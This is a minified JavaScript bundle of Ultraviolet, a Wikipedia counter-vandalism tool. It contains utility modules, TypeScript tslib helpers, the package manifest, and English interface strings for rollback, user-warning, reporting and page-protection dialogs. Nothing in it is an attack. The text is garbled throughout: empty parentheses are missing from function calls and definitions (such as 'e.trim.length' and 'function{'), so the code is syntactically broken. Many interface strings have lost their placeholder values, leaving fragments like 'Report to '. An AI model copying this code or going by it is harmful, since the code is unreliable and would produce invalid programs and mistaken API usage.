strict";Object.defineProperty(t,"__esModule",{value:!0}),t.default=function(e){return mw.util.isIPv4Address(e)||mw.util.isIPv6Address(e)}},4139:(e,t)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0}),t.default=function(e){return null==e||0===e.trim.length?"":new mw.Title(e).getPrefixedText}},3599:(e,t)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0}),t.default=function{let e,t;return[new Promise(((n,i)=>{e=n,t=i})),e,t]}},9334:(e,t)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0});const n="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz",i=[...n,..."0123456789"];t.default=function(e=8){let t="";for(t.length<e;)0===t.length?t+=n[Math.floor(Math.random*n.length)]:t+=i[Math.floor(Math.random*i.length)];return t}},3410:(e,t,n)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0});const i=n(830);t.default=function(e,t=!1){t?(0,i.h)("a",{target:"_blank",href:e}).click:window.location.href=e}},705:(e,t)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0}),t.default=function(e,t=""){const n=e.source;let i=e.flags;for(const e of t.toLowerCase)i.includes(e)||(i+=e);return new RegExp(n,i)}},576:(e,t)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0}),t.default=function(e){return e.replace(/[-\/\\^$*+?.|[\]{}]/g,"\\$&")}},7327:(e,t)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0}),t.default=function(e,t){var n,i;const[r,o,a,s]=null!==(n=/(\d+)\.(\d+)\.(\d+)/g.exec(e))&&void 0!==n?n:[],[l,c,d,u]=null!==(i=/(\d+)\.(\d+)\.(\d+)/g.exec(t))&&void 0!==i?i:[];return null==r||null==l?null:+o>+c?1:+o<+c?-1:+a>+d?1:+a<+d?-1:+s>+u?1:+s<+u?-1:0}},9124:(e,t,n)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0});const i=n(655);t.default=function(e){return(0,i.__awaiter)(this,void 0,void 0,(function*{return new Promise((t=>setTimeout(t,e)))}))}},9618:(e,t)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0}),t.default=function(e,t,n){let i;if("string"==typeof e){const t=document.createElement("a");t.href=e,i=new URL(t.href)}else i=e;if(null!=t)for(const e in t)t.hasOwnProperty(e)&&null!=t[e]&&i.searchParams.set(e,t[e]);return n&&(n.fragment&&(i.hash=n.fragment),n.query&&n.query.forEach(((e,t)=>{i.searchParams.append(t,e)}))),i.toString}},655:(e,t,n)=>{"use strict";n.r(t),n.d(t,{__extends:=>r,__assign:=>o,__rest:=>a,__decorate:=>s,__param:=>l,__metadata:=>c,__awaiter:=>d,__generator:=>u,__createBinding:=>p,__exportStar:=>h,__values:=>f,__read:=>g,__spread:=>m,__spreadArrays:=>v,__spreadArray:=>A,__await:=>y,__asyncGenerator:=>_,__asyncDelegator:=>b,__asyncValues:=>I,__makeTemplateObject:=>C,__importStar:=>T,__importDefault:=>w,__classPrivateFieldGet:=>S,__classPrivateFieldSet:=>x}); /*! ***************************************************************************** Copyright (c) Microsoft Corporation.

Permission to use, copy, modify, and/or distribute this software for any purpose with or without fee is hereby granted.

THE SOFTWARE IS PROVIDED "AS IS" AND THE AUTHOR DISCLAIMS ALL WARRANTIES WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT OF OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE. var i=function(e,t){return i=Object.setPrototypeOf||{__proto__:[]}instanceof Array&&function(e,t){e.__proto__=t}||function(e,t){for(var n in t)Object.prototype.hasOwnProperty.call(t,n)&&(e[n]=t[n])},i(e,t)};function r(e,t){if("function"!=typeof t&&null!==t)throw new TypeError("Class extends value "+String(t)+" is not a constructor or null");function n{this.constructor=e}i(e,t),e.prototype=null===t?Object.create(t):(n.prototype=t.prototype,new n)}var o=function{return o=Object.assign||function(e){for(var t,n=1,i=arguments.length;n<i;n++)for(var r in t=arguments[n])Object.prototype.hasOwnProperty.call(t,r)&&(e[r]=t[r]);return e},o.apply(this,arguments)};function a(e,t){var n={};for(var i in e)Object.prototype.hasOwnProperty.call(e,i)&&t.indexOf(i)<0&&(n[i]=e[i]);if(null!=e&&"function"==typeof Object.getOwnPropertySymbols){var r=0;for(i=Object.getOwnPropertySymbols(e);r<i.length;r++)t.indexOf(i[r])<0&&Object.prototype.propertyIsEnumerable.call(e,i[r])&&(n[i[r]]=e[i[r]])}return n}function s(e,t,n,i){var r,o=arguments.length,a=o<3?t:null===i?i=Object.getOwnPropertyDescriptor(t,n):i;if("object"==typeof Reflect&&"function"==typeof Reflect.decorate)a=Reflect.decorate(e,t,n,i);else for(var s=e.length-1;s>=0;s--)(r=e[s])&&(a=(o<3?r(a):o>3?r(t,n,a):r(t,n))||a);return o>3&&a&&Object.defineProperty(t,n,a),a}function l(e,t){return function(n,i){t(n,i,e)}}function c(e,t){if("object"==typeof Reflect&&"function"==typeof Reflect.metadata)return Reflect.metadata(e,t)}function d(e,t,n,i){return new(n||(n=Promise))((function(r,o){function a(e){try{l(i.next(e))}catch(e){o(e)}}function s(e){try{l(i.throw(e))}catch(e){o(e)}}function l(e){var t;e.done?r(e.value):(t=e.value,t instanceof n?t:new n((function(e){e(t)}))).then(a,s)}l((i=i.apply(e,t||[])).next)}))}function u(e,t){var n,i,r,o,a={label:0,sent:function{if(1&r[0])throw r[1];return r[1]},trys:[],ops:[]};return o={next:s(0),throw:s(1),return:s(2)},"function"==typeof Symbol&&(o[Symbol.iterator]=function{return this}),o;function s(o){return function(s){return function(o){if(n)throw new TypeError("Generator is already executing.");for(a;)try{if(n=1,i&&(r=2&o[0]?i.return:o[0]?i.throw||((r=i.return)&&r.call(i),0):i.next)&&!(r=r.call(i,o[1])).done)return r;switch(i=0,r&&(o=[2&o[0],r.value]),o[0]){case 0:case 1:r=o;break;case 4:return a.label++,{value:o[1],done:!1};case 5:a.label++,i=o[1],o=[0];continue;case 7:o=a.ops.pop,a.trys.pop;continue;default:if(!(r=a.trys,(r=r.length>0&&r[r.length-1])||6!==o[0]&&2!==o[0])){a=0;continue}if(3===o[0]&&(!r||o[1]>r[0]&&o[1]<r[3])){a.label=o[1];break}if(6===o[0]&&a.label<r[1]){a.label=r[1],r=o;break}if(r&&a.label<r[2]){a.label=r[2],a.ops.push(o);break}r[2]&&a.ops.pop,a.trys.pop;continue}o=t.call(e,a)}catch(e){o=[6,e],i=0}finally{n=r=0}if(5&o[0])throw o[1];return{value:o[0]?o[1]:void 0,done:!0}}([o,s])}}}var p=Object.create?function(e,t,n,i){void 0===i&&(i=n),Object.defineProperty(e,i,{enumerable:!0,get:function{return t[n]}})}:function(e,t,n,i){void 0===i&&(i=n),e[i]=t[n]};function h(e,t){for(var n in e)"default"===n||Object.prototype.hasOwnProperty.call(t,n)||p(t,e,n)}function f(e){var t="function"==typeof Symbol&&Symbol.iterator,n=t&&e[t],i=0;if(n)return n.call(e);if(e&&"number"==typeof e.length)return{next:function{return e&&i>=e.length&&(e=void 0),{value:e&&e[i++],done:!e}}};throw new TypeError(t?"Object is not iterable.":"Symbol.iterator is not defined.")}function g(e,t){var n="function"==typeof Symbol&&e[Symbol.iterator];if(!n)return e;var i,r,o=n.call(e),a=[];try{for((void 0===t||t-- >0)&&!(i=o.next).done;)a.push(i.value)}catch(e){r={error:e}}finally{try{i&&!i.done&&(n=o.return)&&n.call(o)}finally{if(r)throw r.error}}return a}function m{for(var e=[],t=0;t<arguments.length;t++)e=e.concat(g(arguments[t]));return e}function v{for(var e=0,t=0,n=arguments.length;t<n;t++)e+=arguments[t].length;var i=Array(e),r=0;for(t=0;t<n;t++)for(var o=arguments[t],a=0,s=o.length;a<s;a++,r++)i[r]=o[a];return i}function A(e,t,n){if(n||2===arguments.length)for(var i,r=0,o=t.length;r<o;r++)!i&&r in t||(i||(i=Array.prototype.slice.call(t,0,r)),i[r]=t[r]);return e.concat(i||Array.prototype.slice.call(t))}function y(e){return this instanceof y?(this.v=e,this):new y(e)}function _(e,t,n){if(!Symbol.asyncIterator)throw new TypeError("Symbol.asyncIterator is not defined.");var i,r=n.apply(e,t||[]),o=[];return i={},a("next"),a("throw"),a("return"),i[Symbol.asyncIterator]=function{return this},i;function a(e){r[e]&&(i[e]=function(t){return new Promise((function(n,i){o.push([e,t,n,i])>1||s(e,t)}))})}function s(e,t){try{(n=r[e](t)).value instanceof y?Promise.resolve(n.value.v).then(l,c):d(o[0][2],n)}catch(e){d(o[0][3],e)}var n}function l(e){s("next",e)}function c(e){s("throw",e)}function d(e,t){e(t),o.shift,o.length&&s(o[0][0],o[0][1])}}function b(e){var t,n;return t={},i("next"),i("throw",(function(e){throw e})),i("return"),t[Symbol.iterator]=function{return this},t;function i(i,r){t[i]=e[i]?function(t){return(n=!n)?{value:y(e[i](t)),done:"return"===i}:r?r(t):t}:r}}function I(e){if(!Symbol.asyncIterator)throw new TypeError("Symbol.asyncIterator is not defined.");var t,n=e[Symbol.asyncIterator];return n?n.call(e):(e=f(e),t={},i("next"),i("throw"),i("return"),t[Symbol.asyncIterator]=function{return this},t);function i(n){t[n]=e[n]&&function(t){return new Promise((function(i,r){(function(e,t,n,i){Promise.resolve(i).then((function(t){e({value:t,done:n})}),t)})(i,r,(t=e[n](t)).done,t.value)}))}}}function C(e,t){return Object.defineProperty?Object.defineProperty(e,"raw",{value:t}):e.raw=t,e}var E=Object.create?function(e,t){Object.defineProperty(e,"default",{enumerable:!0,value:t})}:function(e,t){e.default=t};function T(e){if(e&&e.__esModule)return e;var t={};if(null!=e)for(var n in e)"default"!==n&&Object.prototype.hasOwnProperty.call(e,n)&&p(t,e,n);return E(t,e),t}function w(e){return e&&e.__esModule?e:{default:e}}function S(e,t,n,i){if("a"===n&&!i)throw new TypeError("Private accessor was defined without a getter");if("function"==typeof t?e!==t||!i:!t.has(e))throw new TypeError("Cannot read private member from an object whose class did not declare it");return"m"===n?i:"a"===n?i.call(e):i?i.value:t.get(e)}function x(e,t,n,i,r){if("m"===i)throw new TypeError("Private method is not writable");if("a"===i&&!r)throw new TypeError("Private accessor was defined without a setter");if("function"==typeof t?e!==t||!r:!t.has(e))throw new TypeError("Cannot write private member to an object whose class did not declare it");return"a"===i?r.call(e,n):r?r.value=n:t.set(e,n),n}},830:(e,t)=>{"use strict";function n(e,t){t instanceof HTMLElement?e.appendChild(t):"string"==typeof t||"number"==typeof t?e.appendChild(document.createTextNode(t.toString)):console.warn("Unknown type to append: ",t)}function i(e,t){for(const r of t)(r||0===r)&&(Array.isArray(r)?i(e,r):n(e,r))}Object.defineProperty(t,"__esModule",{value:!0}),t.h=void 0,t.h=function(e,t,...n){if("function"==typeof e)return e(Object.assign(Object.assign({},t),{children:n}));const r=document.createElement(e);if(t){t.style&&"string"!=typeof t.style&&(!function(e,t){for(const n of Object.keys(e))Object.prototype.hasOwnProperty.call(t,n)&&(t[n]=e[n])}(t.style,r.style),delete t.style);for(const e of Object.keys(t)){const n=t[e];if(e.startsWith("on")){const t=e.replace(/Capture$/,""),i=e!==t,o=t.toLowerCase.substring(2);r.addEventListener(o,n,i)}else!0===n?r.setAttribute(e,e):(n||0===n)&&r.setAttribute(e,n.toString)}}return i(r,n),r}},776:(e,t,n)=>{"use strict";n.r(t),n.d(t,{default:=>i});const i={gitHash:"cb7592e5de2d3e2a480269a6b2f208ff0bf1071d",gitHashShort:"cb7592e",time:1664146869666,platform:"linux",arch:"x64"}},5671:(e,t,n)=>{"use strict";function i(e,t){if(!(e instanceof t))throw new TypeError("Cannot call a class as a function")}n.d(t,{Z:=>i})},3144:(e,t,n)=>{"use strict";function i(e,t){for(var n=0;n<t.length;n++){var i=t[n];i.enumerable=i.enumerable||!1,i.configurable=!0,"value"in i&&(i.writable=!0),Object.defineProperty(e,i.key,i)}}function r(e,t,n){return t&&i(e.prototype,t),n&&i(e,n),Object.defineProperty(e,"prototype",{writable:!1}),e}n.d(t,{Z:=>r})},4147:e=>{"use strict";e.exports=JSON.parse('{"name":"ultraviolet","version":"0.1.3","description":"Wikipedia patrol and counter-vandalism tool.","main":"src/Ultraviolet.ts","dependencies":{"@material/checkbox":"^13.0.0","@material/dialog":"13.0.0","@material/form-field":"13.0.0","@material/linear-progress":"13.0.0","@material/list":"13.0.0","@material/menu":"13.0.0","@material/radio":"13.0.0","@material/ripple":"13.0.0","@material/select":"13.0.0","@material/snackbar":"13.0.0","@material/switch":"^13.0.0","@material/tab-bar":"^13.0.0","@material/textfield":"13.0.0","@material/tooltip":"13.0.0","assets-webpack-plugin":"^7.1.1","i18next":"^19.8.4","i18next-browser-languagedetector":"^6.1.4","tslib":"^2.3.1","tsx-dom":"^1.3.0"},"devDependencies":{"@types/jest":"^27.4.0","@types/jquery":"^3.5.13","@types/jsdom":"^16.2.4","@types/node":"^16.11.7","@typescript-eslint/eslint-plugin":"^5.20.0","@typescript-eslint/parser":"^5.20.0","@webpack-cli/serve":"^1.6.1","cross-env":"^7.0.3","css-loader":"^6.6.0","css-minimizer-webpack-plugin":"^3.4.1","eslint":"^8.13.0","eslint-config-prettier":"^8.5.0","eslint-plugin-import":"^2.26.0","eslint-plugin-prettier":"^4.0.0","file-loader":"^6.2.0","husky":"^7.0.0","jest":"^27.5.0","jest-raw-loader":"^1.0.1","jsdom":"^19.0.0","lint-staged":"^12.3.3","prettier":"^2.5.1","rimraf":"^3.0.2","source-map-loader":"^3.0.1","style-loader":"^3.3.1","text-loader":"0.0.1","ts-jest":"^27.1.3","ts-loader":"^9.2.6","types-mediawiki":"git+https://github.com/wikimedia-gadgets/types-mediawiki.git","typescript":"^4.5.5","typescript-json-schema":"^0.53.0","webpack":"^5.68.0","webpack-bundle-analyzer":"^4.5.0","webpack-cli":"^4.9.2","webpack-dev-server":"^4.7.4","webpack-plugin-buildinfo":"^0.3.1","wrapper-webpack-plugin":"git+https://github.com/redwarnwp/wrapper-webpack-plugin.git"},"scripts":{"build":"cross-env NODE_ENV=production webpack","build:prod":"cross-env NODE_ENV=production webpack","build:dev":"cross-env NODE_ENV=development webpack","schema":"typescript-json-schema tsconfig.json WikiConfigurationRaw -o build/WikiConfigurationRaw.schema.json","clean":"rimraf build/*","start":"cross-env NODE_ENV=development webpack serve --config webpack.config.js","profile":"webpack --profile","test":"cross-env NODE_OPTIONS=--experimental-vm-modules jest","lint":"eslint --cache --fix src/ tests/","coverage":"cross-env NODE_OPTIONS=--experimental-vm-modules jest --coverage --collectCoverageFrom=src/**/*.{js,jsx,ts,tsx}","prepare":"husky install"},"repository":{"type":"git","url":"git+ssh://git@gitlab.com/redwarn/ultraviolet.git"},"keywords":["wikipedia","mediawiki","vandalism","ultraviolet"],"author":"10nm <tools.ultraviolet@toolforge.org>","license":"Apache-2.0","bugs":{"url":"https://gitlab.com/redwarn/ultraviolet/issues"},"homepage":"https://gitlab.com/redwarn/ultraviolet#readme","browserslist":["last 2 major versions or last 2 years and > 0.1% and not IE 11"],"lint-staged":{"*.ts(x)?":"eslint --cache --fix","*.{ts(x)?,css,md}":"prettier --write"}}')},6280:e=>{"use strict";e.exports=JSON.parse('{"ultraviolet":{"name":"Ultraviolet","signature":"(UV $t(common:ultraviolet.version))","userAgent":"Ultraviolet/$t(common:ultraviolet.version) (UV; https://w.wiki/s6j/;) ","init":{"error":"An error occurred while loading Ultraviolet.","mwChecks":{"*":"A MediaWiki installation assertion check failed.","version":"This version of MediaWiki is unsupported. Ultraviolet requires MediaWiki 1.30.0 or higher.","user":"The current user is not a logged-in user or is an anonymous user.","skin":"The skin being used is unsupported."}}},"bullet":"•","load":"Loading..."}')},4304:e=>{"use strict";e.exports=JSON.parse('{"summaries":{"revert":"Reverting edit(s) by Special:Contributions/ (talk) to rev. by : $t(common:ultraviolet.signature)","rollback":"Rollback edit(s) by Special:Contributions/ (talk):  $t(common:ultraviolet.signature)","restore":"Restoring revision  by :  $t(common:ultraviolet.signature)","warn":"","warn_0":"Notice: ","warn_1":"Note: ","warn_2":"Caution: ","warn_3":"Warning: ","warn_4":"Final Warning: ","warn_5":"ONLY Warning: ","protection":"Requesting page protection for ","reporting":"Reporting ","report_undo":"Undoing report of "},"ip":"Anonymous IP editor","newMessage":"New message to ","error":{"wikiConfigBad":"The Ultraviolet <a href=\\"?title=Project:UV/C.JSON\\">wiki-specific configuration</a> for this wiki is invalid. Please contact the <a href=\\"?title=Project:UV/TEAM\\">Ultraviolet maintainers</a> for this wiki.","wikiConfigBlocked":"This wiki does not have a wiki-specific configuration, and attempts at receiving the fallback configuration are being blocked. Please create a configuration for this wiki on the \\"Project:Ultraviolet/configuration.json\\" page before continuing.","apiError":"An error occurred while contacting the MediaWiki API."}}')},2185:e=>{"use strict";e.exports=JSON.parse('{"ageFormat":{"future":"in %s","past":"%s ago","s":"a few seconds","ss":"%d seconds","m":"a minute","mm":"%d minutes","h":"an hour","hh":"%d hours","d":"a day","dd":"%d days","w":"a week","ww":"%d weeks","M":"a month","MM":"%d months","y":"a year","yy":"%d years"},"parser":{"wikiTxtParseError":"Sorry, but we can\'t show a preview for this. Check the wikitext for errors and try again."},"idb":{"forceDeleted":"The Ultraviolet cache stored on your browser was deleted due to a critical error. This will be rebuilt on the next page load."}}')},9774:e=>{"use strict";e.exports=JSON.parse('{"accessibility":{"raiseActionButtons":{"title":"Raise action buttons","description":"This option highlights progressive buttons (such as \\"Warn User\\", \\"OK\\", \\"Submit\\") so that they are easier to distinguish from other buttons."},"rapidClickProtection":{"title":"Rapid click protection","description":"Set the time period to wait before allowing clicks on potentially damaging buttons (rollbacks, warns).","options":{"0":"Definitely safe (500ms)","1":"Standard (200ms)","2":"Quick (100ms)","3":"Dangerous (50ms)","4":"Fast and furious (0ms)"}},"highContrast":{"title":"High Contrast","description":"Where supported, make icons less coloured and favour higher contrast. This will override only default colours, and not those you have customized."}},"revert":{"revertOption":{"title":"Revert options","description":"Main revert options, shown whenever viewing a diff. Other revert options are available in the \\"More Options\\" panel. Available options are set on a per-wiki basis."},"revertDoneOption":{"title":"Post-rollback action","description":"The default action to take after reverting an edit by a user.","options":{"latest":"Go to the latest revision","message":"Send the user a message","template":"Template the user","warn":"Warn the user","report":"Report this user to AIV","mat":"Multiple Action Tool","options":"More options"}},"revertMethod":{"title":"Revert method","description":"The method of reversion to use. Rollback requires the rollback right, but is much faster than a standard undo. Psuedo-rollback (also known as \\"rollback-like\\") requires no special rights, but is slower than rollback (especially for slower connections).","options":{"rollback":"Rollback (requires the rollback right)","undo":"Pseudo-rollback"}},"redirectIfNotLatest":{"title":"Redirect if not latest","description":"If enabled, upon detection that the revision being reverted is no longer the latest revision, you will be redirected to the latest revision of the page."},"ignoreSameUserLatest":{"title":"Ignore latest revision from the same user","description":"If enabled, the revision to be reverted will be reverted anyway even if it is no longer the latest revision if the latest revision was made by the same user and has no intermediate edits."}},"ui":{"noticeOrder":{"title":"Notice template order","description":"You can sort notice templates by their title (e.g. \\"Vandalism\\"), or by their template name (e.g. \\"uw-vandalism\\").","options":{"title":"By title","template":"By template name"}},"pageIcons":{"title":"Page icons","description":"You can choose which page icons to show and what order they appear in."},"revertOptions":{"title":"Revert options","description":"You can choose which revert options to show and what order they appear in. You can also add your own custom revert options alongside those listed in the wiki\'s configuration."},"style":{"title":"UI style","description":"You can change the style of Ultraviolet\'s UI. The default style for all Ultraviolet users is Material."},"theme":{"title":"Theme","description":"You can change the theme of Ultraviolet\'s UI. The default theme for all Ultraviolet users is Ultraviolet (Light)."}}}')},702:e=>{"use strict";e.exports=JSON.parse('{"rollbackOptions":{"rollback":{"name":"Rollback"},"agf":{"name":"Assume good faith and rollback","summary":"Reverting good faith edits: "},"preview":{"name":"Preview Rollback"},"quick-template":{"name":"Quick Template"},"more-options":{"name":"Open the \\"More Options\\" panel"}},"rollbackDoneOptions":{"latest":"Go to the latest revision","message":"Send this user a message","template":"Template this user","warn":"Warn this user","report":"Report to ","mat":"Multiple Action Tool","options":"Open the \\"More Options\\" panel"}}')},8366:e=>{"use strict";e.exports=JSON.parse('{"unfinished":"Hmm, looks like we haven\'t implemented this feature yet. Check back later!","ok":"OK","cancel":"Cancel","confirm":"Confirm","undo":"Undo","redo":"Redo","toggleSwitch":"Off/On","toggleCheckbox":"Off/On","extendedOptions":{"title":"More Options","extraRevertOptions":"Additional revert options"},"missingGroup":{"label":"Missing user group","description":"You must be a to use Ultraviolet."},"pageIcons":{"message":"New Message","quickTemplate":"Quick Template","warn":"Warn User","protection":"Page Protection","alertOnChange":"Alert on Change","latestRevision":"Latest Revision","moreOptions":"More Options","vandalismStatistics":"Vandalism statistics","report":"Report to ","preferences":"Preferences","uvTalk":"Ultraviolet\'s talk page","copyLog":"Copy Ultraviolet log"},"restore":{"label":"Restore reason","helperText":"Enter a reason for this restore","actions":{"ok":"Restore"}},"rollback":{"label":"Rollback reason","helperText":"Enter a reason for this rollback","actions":{"ok":"Rollback"}},"copyURL":{"button":"Copy URL","success":"URL copied.","failure":"Failed to copy URL. Have you given the browser proper permissions?"},"toasts":{"undone":"Action undone.","viewAction":"View","pleaseWait":"Please wait...","restoreError":"Sorry, there was an error, likely an edit conflict. This edit was not restored.","rollbackError":"Sorry, there was an error performing a rollback.","newerRev":"A newer revision was detected. Your revert was not applied.","userUndefined":"Sorry, the target user does not exist, cannot be found, or is hidden from the public. Your action was not completed.","userWarning":"Sending warning...","userWarned":"User warned.","userWarnedAction":"View","userWarnFailed":"There was a problem warning the user. Please verify if the user has been warned before issuing another warning.","protectionRequested":"Protection requested.","protectionRequestFailed":"There was a problem requesting protection. Please verify if the request has been made before requesting again.","prefsSaved":"Preferences saved. Reload to apply your changes.","logCopied":"Log copied to clipboard.","copyFail":"Failed to copy to clipboard."},"watch":{"denied":"Permission to show notifications denied.","watching":"Watching for changes on. Keep this tab open.","stoppedWatching":"Stopped watching for changes on .","prefix":"[New edit(s)!] ","notification":{"title":"New edit to ","title_plural":" new edits to ","header":"Click here to view.","diff":"Latest revision by : \\"\\".","diff_nosummary":"Latest revision by  ."}},"rollbackAvailableDialog":{"actions":{"rollback":"Use rollback","revert":"Keep using rollback-like"},"content":"You have rollback permissions! Would you like to use the faster rollback API in future or continue using a rollback-like setting? You can change this in your preferences at any time."},"tamperProtection":{"header":"Attention!","warningContent":"You are currently using Ultraviolet in a way that is strongly discouraged under guidelines set at <a href=\\"https://en.wikipedia.org/wiki/Wikipedia:UV/A\\" title=\\"Wikipedia:UV/A\\">Wikipedia:Ultraviolet/Abuse</a>. This will be permanently recorded and will prevent you from running legitimate installations of Ultraviolet. Please contact a 10nm team developer for assistance."},"userSelect":{"change":"Change the target user","confirm":"Target this user","load_wait":"Please be patient while the user information is being loaded.","loading":"Loading user information...","input":"Target User","highestLevel":"Highest warning level","levelInfo":"The user\'s highest warning level","levelInfo_none":"User has not received any warnings this month","levelInfo_notice":"User has received a level 1 notice this month","levelInfo_caution":"User has received a level 2 notice this month","levelInfo_warning":"User has received a level 3 warning this month. $t(ui:userSelect.report)","levelInfo_final":"User has received a level 4 final warning this month. $t(ui:userSelect.report)","levelInfo_immediate":"User has received an immediate level 4 final warning this month. $t(ui:userSelect.report)","report":"Click to report.","edits":" edits","age":"Joined ","talk":{"main":"User talk page","month":"Notices for this month","whole":"Entire talk page"},"show":{"userpage":"Show user page","contributions":"Show user contributions"},"missing":"User does not exist.","invalid":"The username provided is not valid.","fail":"Failed to load user information. Try again in a bit."},"validation":{"dialog":{"title":"Issue found","title_plural":"Issues found","intro":"The following issues are preventing you from continuing:"},"tooltip":{"fail":"There are issues which are preventing you from continuing. Click here for more information.","pass":"No issues were found."}},"warn":{"title":"Warn User","reason":{"page":"Related page","recentPageOpenerTooltip":"Recent pages","additionalText":"Additional text","levelSelectionLevelNotPresent":"There is no level  template available.","levelSelectionLevel":"Level  : ","searchDialogOpenerTooltip":"Search for a warning","warningSelectionDropdownTitle":"Warning","singleIssueTemplate":"Reminder","policyViolationTemplate":"Policy Violation Warning","warningLevel":"Warning level","noWarningSelected":"No warning selected."},"templateSearchDialog":{"dialogTitle":"Warnings","searchBoxLabel":"Search for a warning...","instantSelect":"Press ENTER to use this template","tip":"Tip: Double-click a warning to quickly select it, or press ENTER to select the top result."},"recentPagesDialog":{"dialogTitle":"Recent Pages"},"validation":{"fail":"An unknown issue ocurred.","fail_template":"You don\'t have a warning template selected.","fail_level":"You haven\'t selected a warning level.","fail_user":"You haven\'t selected a target user.","fail_self":"You are not allowed to warn yourself.","fail_required":"Some required fields have not been filled in.","failDetailed":"$t(ui:warn.validation.fail) If this problem persists, inform the developers.","failDetailed_template":"$t(ui:warn.validation.fail_template) Select one from the dropdown or search tool.","failDetailed_level":"$t(ui:warn.validation.fail_level) Please select an appropriate level.","failDetailed_user":"$t(ui:warn.validation.fail_user) Please enter a username in the target user box.","failDetailed_self":"$t(ui:warn.validation.fail_self) If you want to test, please use a sandbox user.","failDetailed_required":"Some required fields have not been filled in. Please fill in the required text fields (denoted by an asterisk) found below the warning to be issued.","pass":"No issues were found."},"risky":{"title":"Risky warning","content":"You are about to warn. Are you sure about this?"},"ok":"Warn User"},"diff":{"progress":{"prepare":"Preparing...","details":"Getting revision information...","revert":"Reverting...","revert_rollback":"Rolling back...","restore":"Restoring revision...","finish":"Revert completed.","finish_nochange":"Revert requested but no changes were made. A revert must have already been applied."}},"close":"Close","configErrorDialog":{"title":"Configuration Error","content":"Your Ultraviolet configuration could not be loaded correctly and has been reset. If this issue persists, please contact the 10nm team.","actions":[{"data":"$t(ui:ok)"}]},"styleError":{"missing":{"title":"Style Missing","content":"The style set in your Ultraviolet configuration cannot be found. It has been set to the default style for now.","actions":[{"data":"$t(ui:ok)"}]}},"contribs":{"previewLink":"prev","previewTooltip":"Preview Rollback","vandalLink":"rvv","vandalTooltip":"Quick Rollback Vandalism","rollbackLink":"rb","rollbackTooltip":"Rollback"},"protectionRequest":{"title":"Request Page Protection","ok":"Request","page":{"label":"Target page","change":"Change the target page","loadingText":"Loading protection information...","inputSubmit":"Target this page","inputCancel":"Cancel"},"info":{"unprotected":"Page is not protected.","cascaded":"cascaded","cascading":"cascading","note":" ","detailed":" until ","detailed_indefinite":"Indefinitely ","fallback":" protected against non- users until ","fallback_indefinite":"Indefinitely against for non- users"},"reasons":{"label":"Reason","other":"Other reason"},"additionalInformation":"Additional information","duration":{"label":"Duration","temporary":"Temporary","indefinite":"Indefinite"},"notice":"You should not consider requesting page protection as a method for continuing an argument from elsewhere nor as a venue for starting a new discussion regarding article content. If a request contains excessive argument, appears to be intended to resolve a content dispute, includes personal attacks or uncivil comments, or has any other unrelated discussion, it will be removed and no action will be taken.","validation":{"fail":"An unknown issue ocurred.","fail_noLevel":"You don\'t have a protection level selected.","fail_noDuration":"You don\'t have a protection duration selected.","fail_levelEqual":"The level and duration requested is already applied.","fail_noReason":"No reason was provided.","fail_noAdditionalReason":"No additional reason was provided.","failDetailed":"$t(ui:protectionRequest.validation.fail) If this problem persists, inform the developers.","failDetailed_noLevel":"$t(ui:protectionRequest.validation.fail_noLevel) Select one from the left-side panel.","failDetailed_noDuration":"$t(ui:protectionRequest.validation.fail_noDuration) Select either \\"Temporary\\" or \\"Indefinite\\" from the provided options.","failDetailed_levelEqual":"$t(ui:protectionRequest.validation.fail_levelEqual) Please select a protection level or duration different from the current protection level/duration.","failDetailed_noReason":"$t(ui:protectionRequest.validation.fail_noReason) A reason must be provided for protection requests.","failDetailed_noAdditionalReason":"$t(ui:protectionRequest.validation.fail_noAdditionalReason) Please provide an additional reason, or switch to a provided reason using the dropdown."},"retarget":{"text":"Ultraviolet could not determine if this is an increase or decrease in the page\'s protection level. This is likely due to a problem in Ultraviolet\'s per-wiki configuration - please indicate whether this request is an increase or decrease in the page\'s protection level.","increase":"Increase","decrease":"Decrease"},"done":"Request filed."},"reporting":{"title":"Report to ","ok":"Report","target":{"label":"Target","label_user":"User","label_page":"Page","helperText":"Enter a page","helperText_user":"Enter a username","nonexistent_page":"The page you entered does not exist."},"info":{"reason":{"label":"Reason","other":"Other reason","default":"Default reasons"},"comments":{"label":"Additional information","placeholder":"Provide additional details about your request."}},"subject":{"label":"Subject"},"email":{"notice":"Your email address will be provided to the recipient, and any reply will be sent to your email inbox. Your email will be sent as plain text, meaning wikilinks and HTML won\'t work.","confirm":"I have read all related policy pages and have checked my email for errors.","policyLink":"policy"},"validation":{"fail":"An unknown issue ocurred.","fail_target":"There is no target to be reported.","fail_targetMissing":"The page to be reported does not exist.","fail_self":"You are not allowed to report yourself.","fail_reason":"You did not provide a reason for the report.","fail_short":"Your report is too short to contain substantial information.","fail_unmodified":"Your report contains unmodified default text.","fail_exists":"The target has already been reported.","fail_confirmed":"Please confirm your diligence in writing this report.","failDetailed":"An unknown issue ocurred. Please try again.","failDetailed_target":"There is no target to be reported. Please make sure that you\'ve selected a valid page or user.","failDetailed_targetMissing":"The page to be reported does not exist. Please make sure that the page you are attempting to report exists.","failDetailed_self":"You are not allowed to report yourself, even for testing situations.","failDetailed_reason":"You did not provide a reason for the report. Please choose a prefilled reason or write your own.","failDetailed_short":"Your report is believed to be too short to contain substantial information. Please make sure that your report contains enough detailed information to be useful.","failDetailed_unmodified":"Your report contains unmodified default text. Please make sure that you\'ve replaced default text with substantial information.","failDetailed_exists":"The target has already been reported. You do not need to file this report anymore.","failDetailed_confirmed":"Reports to this venue may no longer be edited once submitted. The information provided must be 